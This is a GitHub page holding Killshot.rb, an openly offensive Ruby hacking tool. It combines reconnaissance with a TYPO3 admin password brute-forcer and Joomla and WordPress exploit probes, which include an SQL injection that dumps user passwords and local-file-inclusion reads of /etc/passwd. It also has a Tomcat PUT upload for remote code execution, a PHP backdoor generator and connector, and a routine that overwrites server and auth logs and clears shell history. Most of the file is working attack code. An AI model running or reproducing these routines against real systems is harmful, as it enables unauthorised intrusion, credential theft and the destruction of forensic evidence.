-
Notifications
You must be signed in to change notification settings - Fork 149
/
Killshot.rb
721 lines (635 loc) · 33 KB
/
Killshot.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
#/usr/bin/ruby -w
=begin
Powred By T.H.H
The Head Hack Team (:
=end
require "rest-client"
require "nokogiri"
require "colorize"
require "open-uri"
require "net/http"
require "socket"
require 'shodan'
system("cls")
puts "
██╗ ██╗██╗██╗ ██╗ ███████╗██╗ ██╗ ██████╗ ████████╗
██║ ██╔╝██║██║ ██║ ██╔════╝██║ ██║██╔═══██╗╚══██╔══╝
█████╔╝ ██║██║ ██║ ███████╗███████║██║ ██║ ██║
██╔═██╗ ██║██║ ██║ ╚════██║██╔══██║██║ ██║ ██║
██║ ██╗██║███████╗███████╗ ███████║██║ ██║╚██████╔╝ ██║
╚═╝ ╚═╝╚═╝╚══════╝╚══════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝
".red
puts "
<Track my Target> Gather information
About Targets
".green
while true do
print " track>>> : ".red
$option = gets.chomp
if $option == "exit" then
break
end
if $option == "help" then
puts
puts "[site] MAKE YOUR TARGET".green
puts "[help] show this MESSAGE".green
puts "[targ] Search targets".green
puts "[exit] exit the script".green
puts "[uptd] Update KillShot".green
puts "[anon] Run Anonymous Mode".green
puts "[info] About killShot".green
puts
end
if $option == "anon" then
puts
puts "ANONSURF START **** ".green.on_blue
system("service tor start ")
system("anonsurf start")
puts "Press 99 to stop anonsurf service"
end
if $option == "99" then
system("anonsurf stop service")
end
if $option == "targ" then
puts "[1] Search Target Shodan".blue
puts "[2] Shodan Port Scanner".blue
end
if $option == "2" then
print "IP :: ".green
targetportscan = gets.chomp
$sourceshodan = open("https://www.shodan.io/host/#{targetportscan}").read
f = File.open("#{targetportscan}.htm","w")
f.puts $sourceshodan
f.close
print "[+]".green
system("grep -a 'Ports open:' #{targetportscan}.htm | cut -d '=' -f 3 | cut -d '/' -f 1")
end
if $option == "1" then
def bann()
puts " ""
████████╗ █████╗ ██████╗ ██████╗ ███████╗████████╗
╚══██╔══╝██╔══██╗██╔══██╗██╔════╝ ██╔════╝╚══██╔══╝
██║ ███████║██████╔╝██║ ███╗█████╗ ██║
██║ ██╔══██║██╔══██╗██║ ██║██╔══╝ ██║
██║ ██║ ██║██║ ██║╚██████╔╝███████╗ ██║
╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═╝
"""
end
bann()
puts "Before you can use the Target, you need to have an API key account.shodan.io and add it to apii.txt"
apii = open("api.txt")
my_shodan_api = apii.read
print "Search : "
target = gets.chomp
api = Shodan::Shodan.new("#{my_shodan_api}")
result = api.search("#{target}")
file = File.open("result.txt","w") do |f2|
result['matches'].each{ |host|
system("clear")
bann()
puts "-------------"
puts host['ip_str']
f2.puts host['ip_str']
puts "--------------"
}
system("clear")
bann()
puts "[+] Success ! Target saved in result.txt".green
system("pause>nul")
end
end
if $option == "info" then
puts "
You Can use this tool to Spider your website and get important information and gather information automaticaly using whatweb-host-traceroute-dig-fierce-wafw00f or to Identify the cms and to find the vulnerability in your website using Cms Exploit Scanner && WebApp Vul Scanner Also You can use killshot to Scan automaticly multiple type of scan with nmap and unicorn . And With this tool You can Generate PHP Simple Backdoors upload it manual and connect to the target using killshot
This Tool Bearing A simple Ruby Fuzzer Tested on VULSERV.exe And Linux Log clear script To change the content of login paths Spider can help you to find parametre of the site and scan xss and sql
add shodan tools in the last update
".blue
end
if $option == "uptd" then
system("git clone https://github.com/bahaabdelwahed/killshot.git")
end
if $option == "site" then
print "Site : ".green
$url = gets.chomp
system("cls")
system("clear")
puts "
.n . . n.
. .dP dP 9b 9b. .
4 qXb . dX Xb . dXp t
dX. 9Xb .dXb __ __ dXb. dXP .Xb
9XXb._ _.dXXXXb dXXXXbo. .odXXXXb dXXXXb._ _.dXXP
9XXXXXXXXXXXXXXXXXXXVXXXXXXXXOo. .oOXXXXXXXXVXXXXXXXXXXXXXXXXXXXP
`9XXXXXXXXXXXXXXXXXXXXX'~ ~`OOO8b d8OOO'~ ~`XXXXXXXXXXXXXXXXXXXXXP'
`9XXXXXXXXXXXP' `9XX' Hide `98v8P' Hack `XXP' `9XXXXXXXXXXXP'
~~~~~~~ 9X. .db|db. .XP ~~~~~~~
)b. .dbo.dP'`v'`9b.odb. .dX(
".red
def banner()
puts "{0} Spider ".green
puts "{1} Web technologie " .green
puts "{2} WebApp Vul Scanner" .green
puts "{3} Port Scanner".green
puts "{4} CMS Scanner".green
puts "{5} Fuzzers ".green
puts "{6} Cms Exploit Scanner ".green
puts "{7} Backdoor Generation".green
puts "{8} Linux Log Clear".green
puts "{9} Find MX/NS".green
puts
end
banner()
while true do
print " info>>> : ".green
$web = gets.chomp
if $web == "9" then
$urlss= "#{$url}"
linktestermsns = $urlss.slice! "www."
puts $urlss
def mxns(s,n)
system ("curl https://dns-api.org/#{s}/#{$urlss} >#{n}.txt")
end
mxns("MX","mx")
mxns("NS","ns")
system("cls")
puts "[+] Email Server".green
system("cat mx.txt | grep value | cut -d ':' -f 2 | cut -d '0' -f 2")
puts "[+] Name Server".green
system("cat ns.txt | grep value | cut -d ':' -f 2 ")
system("rm ns.txt && rm mx.txt")
end
class Exploitscanner
def scanner()
$sourcex = open("http://#{$url}").read
if ($sourcex =~ /generator" content="TYPO3/) then
puts "
████████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗████████╗
╚══██╔══╝╚██╗ ██╔╝██╔══██╗██╔═══██╗╚════██╗ ██║ ██║╚══██╔══╝
██║ ╚████╔╝ ██████╔╝██║ ██║ █████╔╝ ██║ █╗ ██║ ██║
██║ ╚██╔╝ ██╔═══╝ ██║ ██║ ╚═══██╗ ██║███╗██║ ██║
██║ ██║ ██║ ╚██████╔╝██████╔╝ ╚███╔███╔╝ ██║
╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝
<https://github.com/bahaabdelwahed/>
"
$site = "http://#{$url}"
if ($site["http"].nil?) then
puts "USAGE <./typo3wt.rb http://target.com"
exit
end
def testscan(path)
uri = URI.parse("#{$site}/#{path}/")
$code = Net::HTTP.get_response(uri)
$r = $code.code
end
testscan("typo3")
if ($r == "200") or ($r == "500")then
print "---[+]".green
puts "Typo3 Found "
testscan("typo3/ext")
if $code.code == "200" then
print "----[+]".green
puts "ExtensionPath can be without index #{$site}/typo3/ext/"
end
puts " [+] Extension Enumerations [+]".red
ext_name = ["crawler","api_macmade","be_acl","css_select","fl_header_slide","gsi_slideshow","slideshow","twwc_pages","pw_highslide_gallery","static_info_tables","yag_themepack_jquery","formhandler","gridelements","typo3_console","cron_ptaheutetoken","cron_menustyle","be_acl","linkhandler","cron_realurlconf","typdom3","realurl","ws_flexslider","tt_address","sr_freecaps","cron_ptaheuteregistrationtoken","cron_ptaheuterezeptursubst","t3s_jslidernews","additional_reports","api_macmade","phpmyadmin","doc_indexed_search"]
ext_name.each do |ext|
typo3path = URI.parse("#{$site}/typo3conf/ext/#{ext}/")
extcode = Net::HTTP.get_response(typo3path)
if extcode.code == "200" then
print "[+] ".green
puts "Found #{ext}"
end
end
puts " [+] Vulnrability scanner [+]".red
puts "Weak password -Panel Brute Force".blue
user = "admin"
File.open("list.txt").each do |password|
ah = RestClient.post "#{$site}/typo3/",{username: user,p_field: "#{password}"} do |response|
print "[+]".blue
puts "Test #{user} #{password} "
if response.code == 302
puts "Password Succes ".green
break
else
puts "Password Woring ".red
end
end
end
puts "Database Disclosure ".blue
def vull(ext,path,nam,tests)
testscan("typo3conf/ext/#{ext}/")
if $code.code == "200" then
aa = open("#{$site}/#{path}").read
if aa["#{tests}"].nil?
print "[-]".red
puts "#{nam}"
else
print "[+]".green
puts "#{nam}"
puts " --- >Download sql file "
ff = File.new("ext_tables.sql","w+")
ff.puts "#{aa}"
ff.close
end
end
end
puts vull("crawler","/typo3conf/ext/crawler/ext_tables.sql","Crawler Extension 6.1.2","Table structure")
sleep 1
puts vull("twwc_pages","/typo3conf/ext/twwc_pages/ext_tables.sql","twwc_pages Extension 8.7.x","Table structure")
sleep 1
puts vull("yag_themepack_jquery","/typo3conf/ext/yag_themepack_jquery/ext_tables.sql","Themepack jQuery Extension 1.3.2","Table structure")
else
print "[-]".red
puts "typo3 Not found"
end
end
if ($sourcex =~ /generator" content="Joomla/)
a = 1
linkk = URI("#{$url}")
joomla = ["/administrator/index.php","/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=","index.php?option=com_jdownloads&Itemid=0&view=upload","/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload","/index.php?option=com_foxcontact&view=foxcontact&Itemid=113","/index.php?option=com_adsmanager&task=upload&tmpl=component","/index.php?option=com_users&view=registration","/index.php?option=com_media&view=images&tmpl=component&e_name=jform_description&asset=com_weblinks&author=","/index.php?option=com_content&task=blogcategory&id=60&Itemid=99999%20union%20select%201,concat_ws(0x3a,username,password),3,4,5%20from%20jos_users/*","mambots/editors/fckeditor/editor/filemanager/browser/default/browser.html","/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20"]
joomla.each do |joo|
$joom = Net::HTTP.get_response("#{linkk}","/#{joo}")
if ($joom.code <= "300") and (a == 1) then
puts " Admin panel -- > #{linkk}/#{joo}".green
elsif ($joom.code == "200") and (a == 2) then
puts "[+] Com Media File Upload".green
puts " --> #{linkk}#{joo}".blue
elsif ($joom.code != "200") and (a == 2) then
puts "[-] Com Media File Upload".red
elsif ($joom.code == "200") and (a == 3) then
puts "[+] Com jdownloads File Upload".green
puts " --> #https://packetstormsecurity.com/files/101522/Joomla-jDownloads-1.0-Shell-Upload.html".blue
puts " --> #{linkk}#{joo}".blue
elsif ($joom.code > "300") and (a == 3) then
puts "[-] Com jdownloads File Upload".red
elsif ($joom.code == "200") and (a == 4) then
puts "[+] Com_fabrik Upload Shell".green
puts " --> https://cxsecurity.com/issue/WLB-2017120085 #".blue
elsif ($joom.code > "300") and (a == 4) then
puts "[-] Com_fabrik Upload Shell".red
elsif ($joom.code == "200") and (a == 5) then
puts "[+] Com foxcontact Arbitrary File Upload".green
puts " --> https://cxsecurity.com/issue/WLB-2016050072 #".blue
elsif ($joom.code > "300") and (a == 5) then
puts "[-] Com foxcontact Arbitrary File Upload".red
elsif ($joom.code == "200") and (a == 6) then
puts "[+] Com adsmanager Arbitrary File Upload ".green
puts " --> https://cxsecurity.com/issue/WLB-2016050072 #".blue
elsif ($joom.code > "300") and (a == 6) then
puts "[-] Com adsmanager Arbitrary File Upload".red
elsif ($joom.code == "200") and (a == 7) then
puts "[+] Com User ".green
puts " --> #{linkk}#{joo} #".blue
elsif ($joom.code > "300") and (a == 7) then
puts "[-] Com User".red
elsif ($joom.code == "200") and (a == 8) then
puts "[+] Com web links ".green
puts " --> #{linkk}#{joo} #".blue
elsif ($joom.code > "300") and (a == 8) then
puts "[-] Com web links ".red
elsif ($joom.code == "200") and (a == 9) then
puts "[+] Com_content' Component 'ItemID' Parameter SQL Injection ".green
puts " --> https://www.securityfocus.com/bid/36064/exploit".blue
puts " --> https://www.securityfocus.com/bid/36064/exploit".blue
elsif ($joom.code > "300") and (a == 9) then
puts "[-] Com_content' Component 'ItemID' Parameter SQL Injection ".red
elsif ($joom.code == "200") and (a == 10) then
puts "[+] Com_content File Upload Vulnerability ".green
puts " --> https://0day.today/exploit/14165".blue
elsif ($joom.code > "300") and (a == 10) then
puts "[-] Com_content File Upload Vulnerability ".red
elsif ($joom.code == "200") and (a == 11) then
puts "[+] COM_JCE ".green
puts " --> https://cxsecurity.com/issue/WLB-2018050200".blue
elsif ($joom.code > "300") and (a == 11) then
puts "[-] COM_JCE ".red
end
a = a + 1
end
end
if ($sourcex =~ /generator" content="WordPress/) then
e = 1
wordpress = ["/readme.html","/wordpress/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd","/wp-content/plugins/wp-events-calendar/public/ajax/getEventsList.php?year=2018&month=5&day=1&calendar_id=1&pag=1","/wp-content/plugins/peugeot-music-plugin/js/plupload/examples/upload.php","/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd","wp-content/themes/WPStore/upload/index.php","wp-content/plugins/sexy-contact-form/includes/fileupload/index.php","wp-content/plugins/lazy-seo/lazyseo.php","wp-content/plugins/easy-comment-uploads/upload-form.php","wp-symposium/server/file_upload_form.php","wp-content/uploads/wp-security-audit-log/","/wp-admin/admin.php?page=powerzoomer_manage","/?gf_page=upload"]
wordpress.each do |link|
$linkk = URI("#{$url}")
$xxxxxxxx = Net::HTTP.get_response("#{$linkk}","/#{link}")
if ($xxxxxxxx.code <= "302") and (e == 1 ) then
puts "Wordpress version here : #{$url}/readme.html !".green
elsif ($xxxxxxxx.code > "300") and (e == 1 )
puts "version not found"
end
if ($xxxxxxxx.code == "200") and (e == 2) then
puts "[+] WordPress Plugin Localize My Post 1.0 - Local File Inclusion Found".green
elsif ($xxxxxxxx.code > "300") and (e == 2 )
puts "[-] WordPress Plugin Localize My Post 1.0 - Local File Inclusion Not Found".red
elsif ($xxxxxxxx.code == "200") and (e == 3 )
puts "[+] Wordpress Plugin Events Calendar - SQL Injection ! ".green
puts " --- > https://www.exploit-db.com/raw/44785/".blue
elsif ($xxxxxxxx.code > "300") and (e == 3 )
puts "[-] Wordpress Plugin Events Calendar - SQL Injection !".red
elsif ($xxxxxxxx.code == "200") and (e == 4 )
puts "[+] WordPress Plugin Peugeot Music - Arbitrary File Upload ! ".green
puts " --- > https://www.exploit-db.com/raw/44737/".blue
elsif ($xxxxxxxx.code > "300") and (e == 4 )
puts "[-] WordPress Plugin Peugeot Music - Arbitrary File Upload !".red
elsif ($xxxxxxxx.code == "200") and (e == 5 )
puts "[+] Wordpress Plugin Site Editor 1.1.1 - Local File Inclusion ! ".green
puts " --- > https://www.exploit-db.com/raw/44340/".blue
elsif ($xxxxxxxx.code > "300") and (e == 5 )
puts "[-] Wordpress Plugin Site Editor 1.1.1 - Local File Inclusion".red
elsif ($xxxxxxxx.code == "200") and (e == 6 )
puts "[+] WordPress WPshop eCommerce Arbitrary File Upload Vulnerability ! ".green
puts " --- > https://www.exploit-db.com/raw/44340/".blue
elsif ($xxxxxxxx.code > "300") and (e == 6 )
puts "[-] WordPress WPshop eCommerce Arbitrary File Upload Vulnerability".red
elsif ($xxxxxxxx.code == "200") and (e == 7 )
puts "[+] WordPress Plugin Creative Contact Form - Arbitrary File Upload ! ".green
puts " --- > https://www.exploit-db.com/raw/34922/".blue
elsif ($xxxxxxxx.code > "300") and (e == 7 )
puts "[-] WordPress Plugin Creative Contact Form - Arbitrary File Upload ".red
elsif ($xxxxxxxx.code == "200") and (e == 8 )
puts "[+] Wordpress Lazy SEO plugin Shell Upload Vulnerability ! ".green
puts " --- > https://cxsecurity.com/issue/WLB-2017080132".blue
elsif ($xxxxxxxx.code > "300") and (e == 8 )
puts "[-] Wordpress Lazy SEO plugin Shell Upload Vulnerability ".red
elsif ($xxxxxxxx.code == "200") and (e == 9 )
puts "[+] Wordpress easy comment uploads ! ".green
puts " --- > https://cxsecurity.com/issue/WLB-2017080132".blue
elsif ($xxxxxxxx.code > "300") and (e == 9 )
puts "[-] Wordpress easy comment uploads ".red
elsif ($xxxxxxxx.code == "200") and (e == 10 )
puts "[+] Wordpress WP Symposium 14.11 Shell Upload Vulnerability ! ".green
puts " --- > Metasploit exploit/unix/webapp/wp_symposium_shell_upload".blue
elsif ($xxxxxxxx.code > "300") and (e == 10 )
puts "[-] Wordpress WP Symposium 14.11 Shell Upload Vulnerability ".red
elsif ($xxxxxxxx.code <= "300") and (e == 11 )
puts "[+] WordPress Plugin WP Security Audit Log 3.1.1 - SID ! ".green
puts " --- > https://www.exploit-db.com/exploits/44371/".blue
elsif ($xxxxxxxx.code > "300") and (e == 11 )
puts "[-] WordPress Plugin WP Security Audit Log 3.1.1 - Sensitive Information Disclosure ".red
elsif ($xxxxxxxx.code <= "300") and (e == 12 )
puts "[+] powerzoomer ! ".green
puts " --- > http://www.exploit4arab.org/exploits/399".blue
elsif ($xxxxxxxx.code > "300") and (e == 12 )
puts "[-] powerzoomer ".red
elsif ($xxxxxxxx.code <= "300") and (e == 12 )
puts "[+] gravityforms ! ".green
puts " --- > https://www.exploit-db.com/exploits/39969/".blue
elsif ($xxxxxxxx.code > "300") and (e == 12 )
puts "[-] powerzoomer ".red
end
e = e + 1
if e == 13 then
break
end
end
end
end
end
def domains()
print " ip For #{$url} :: ".green
$ipaddr = p Addrinfo.ip("#{$url}").ip_address
puts "Links And Paths :: ".red
$h = Nokogiri::HTML(open("http://#{$url}").read)
puts "Related domains and Parameters ::".red
$h.xpath("//a").each do |img|
puts img['href']
end
$h = Nokogiri::HTML(open("http://#{$url}").read)
puts "IMAGE FILES :: ".red
$h.xpath("//img").each do |img2|
puts img2['src']
end
end
def cmsscanner()
$source = open("http://#{$url}").read
if ($source =~ /generator" content="WordPress/)
puts "#{$url} ---- > use wordpress".green
elsif ($source =~ /generator" content="Joomla/)
puts "#{$url} ---- > use Joomla".green
elsif ($source =~ /generator" content="Drupal/)
puts "#{$url} ---- > use Drupal".green
elsif ($source =~ /generator" content="vBulletin/)
puts "#{$url} ---- > use vBulletin".green
elsif ($source =~ /generator" content="TYPO3/)
puts "#{$url} ---- > use TYPO3".green
else
puts "UNKNOW CMS !"
end
end
#------------------------ Eazy Fuzzer For beginner Tested In VulnServer ---------------
if $web == "5" then
print "Ip : "
$fip = gets.chomp
print "Port : "
$fport = gets.chomp
$o = TCPSocket.open("#{$fip}",$fport) # Vuln server ip : 127.0.0.1 port : 9999
while true do
$b = (1..90)
$a = ["A"]
$c = 100
for i in $b do
puts "Fuzzing with #{$c} bits"
$t = $a.append("A"*$c)
$c = $c + 100
$o.puts("TRUN /.:/",$t) #VulnServer Test
end
end
end
if $web == "7" then
system("clear")
puts "{1} Generate Shell".blue
puts "{2} Connect Shell".blue
puts
while true do
print "GENERATE >>".green
backdoor = gets.chomp
if backdoor == "1" then
system("ruby bwa.rb track.php ")
print "track.php File Has been generated Upload it to site ( D'ont change the name) !"
system("pause")
elsif backdoor == "2"
puts " Sure To Use #{$url}/track.php site y/n : "
elsif backdoor == "y"
system("ruby bwa.rb start #{$url}/track.php")
elsif backdoor == "n"
break
end
end
end
if $web == "2" then
system("clear")
puts "--- ------ --------- Exploit Scanner L'ets Hack -------- ------ ".green
puts
puts "{1} Xss scanner".blue
puts "{2} Sql Scanner".blue
puts "{3} Tomcat RCE".blue
print "WebApp >>".green
webapp = gets.chomp
if webapp == "3" then
system("clear")
puts "--- ------ --------- APACHE TOMCAT RCE -------- ------ ".green
system("curl -X PUT 'http://#{$url}/test.jsp' -d 'Injected By me' ")
system("curl -X GET 'http://#{$url}/test.jsp'")
elsif webapp == "1"
print "Parametre To Test :: ".green
parm0 = gets.chomp
puts "this is a automatique usage you can use the x3scan.rb script and add more than one website Click OK"
system("pause")
system("echo http://#{$url}#{parm0} > sites.txt")
system("ruby x3scan.rb sites.txt")
elsif webapp == "2"
print "Parametre To Test :: ".green
parm = gets.chomp
puts "this is a automatique usage you can use the sqlscan.rb script and add more than one website Click OK"
system("pause")
system("echo http://#{$url}#{parm} > sites.txt")
system("ruby sqlscan.rb sites.txt")
end
end
if $web == "8" then
system("clear")
system("cls")
print "
_____ ______ __
| |_.-----.-----.| | |.-----.---.-.----.
| | _ | _ || ---| || -__| _ | _|
|_______|_____|___ ||______|__||_____|___._|__|
|_____|
"
linuxlog = [
'/etc/httpd/logs/access_log',
'/etc/httpd/logs/access.log',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error.log',
'/var/log/apache2/access_log',
'/var/log/apache2/access.log',
'/var/log/apache2/error_log',
'/var/log/apache2/error.log',
'/var/log/apache/access_log',
'/var/log/apache/access.log',
'/var/log/auth.log',
'/var/log/dpkg.log',
'/var/log/faillog',
'/var/log/httpd/access_log',
'/var/www/logs/access.log',
'/var/www/logs/access_log',
'/var/webmin/miniserv.log',
'/var/run/utmp',
'/var/log/yum.log',
'/var/log/xferlog',
]
linuxlog.each do |log|
if File.exist?(log) then
puts "The #{log} log has been changed"
del = %x!echo 194.190.86.119 - frank [10/Oct/2000:13:55:36 -0700] "GET /apache_pb.gif HTTP/1.0" 200 2326 > #{log}!
else
puts "The #{log} directry NOt found"
end
end
puts "SUPERR All log deleted YOU ARE NINJA !!!!"
system("PAUSE >NULL")
system("cls")
print "Clearing The Bash history "
system("sudo history -c && history -w")
end
if $web == "banner" then
banner()
end
if $web == "help" then
puts "[ banner] Show main page".blue
puts "[ exit ] Exit ".blue
puts "[ help ] Show this message".blue
end
if $web == "4" then
cmsscanner()
end
if $web == "0" then
domains()
end
if $web == "6" then
s = Exploitscanner.new
puts s.scanner()
end
if $web == "exit" then
break
end
if $web == "1" then
system("cls")
system("clear")
puts " [+]Basic WhatWeb Information :: ".green
system("whatweb #{$url}")
puts " [+]Host Result :: ".green
system("host #{$url}")
puts " [+]Dig Result About Dns:: ".green
system("dig 8.8.8.8 #{$url} | grep -e 'A' ")
puts " [+]Trying zone transfer and Brute force :: ".green
system("fierce -dns #{$url} -w dns.txt")
puts " [+]Traceroutr Result :: ".green
system("traceroute #{$url}")
puts " [+]Firewall And IDS Detect :: ".green
system("wafw00f #{$url}")
end
if $web == "3" then
system("clear")
system("cls")
puts "
_ _____
/\ | | / ____|
/ \ _ _| |_ ___| (___ ___ __ _ _ __ _ __ ___ _ __
/ /\ \| | | | __/ _ \\___ \ / __/ _` | '_ \| '_ \ / _ \ '__|
/ ____ \ |_| | || (_) |___) | (_| (_| | | | | | | | __/ |
/_/ \_\__,_|\__\___/_____/ \___\__,_|_| |_|_| |_|\___|_|
"
puts "[0] Nmap Scan".green
puts "[1] Unicorn Scan".green
while true do
print "Scanner >>"
scanner = gets.chomp
if scanner == "0" then
puts
puts "[2] Nmap Os Scan ".blue
puts "[3] Nmap TCP Scan".blue
puts "[4] Nmap UDB Scan ".blue
puts "[5] Nmap All scan".blue
puts "[6] Nmap Http Option Scan ".blue
puts "[7] Nmap Live target In Network".blue
elsif scanner == "1"
puts
puts "[8] Services OS ".blue
puts "[9] TCP SYN Scan on a whole network ".blue
puts "[01] UDP scan on the whole network " .blue
elsif scanner == "2"
system("nmap -sS -O #{$url}")
elsif scanner == "3"
system("nmap -Pn -sT -sV -p1-65535 #{$url}")
elsif scanner == "4"
system("nmap -sU -sV #{$url}")
elsif scanner == "5"
system("nmap -A #{$url}")
elsif scanner == "6"
system("nmap -Pn -p80,443 --script http-methods -sC #{$url}")
elsif scanner == "7"
print "Your Router Ip : "
ipp = gets.chomp
system("nmap -sn #{ipp}/24 ")
elsif scanner == "8"
system("unicornscan #{$url} –Iv")
elsif scanner == "9"
print "Your Router Ip : "
ipp = gets.chomp
system("unicornscan -msf -v -I #{ipp}/24")
elsif scanner == "01"
print "Your Router Ip : "
ipp = gets.chomp
system("unicornscan –mU –v –I #{ipp}/24")
elsif scanner == "exit"
break
else
system("#{scanner}")
end
end
end
end
end
end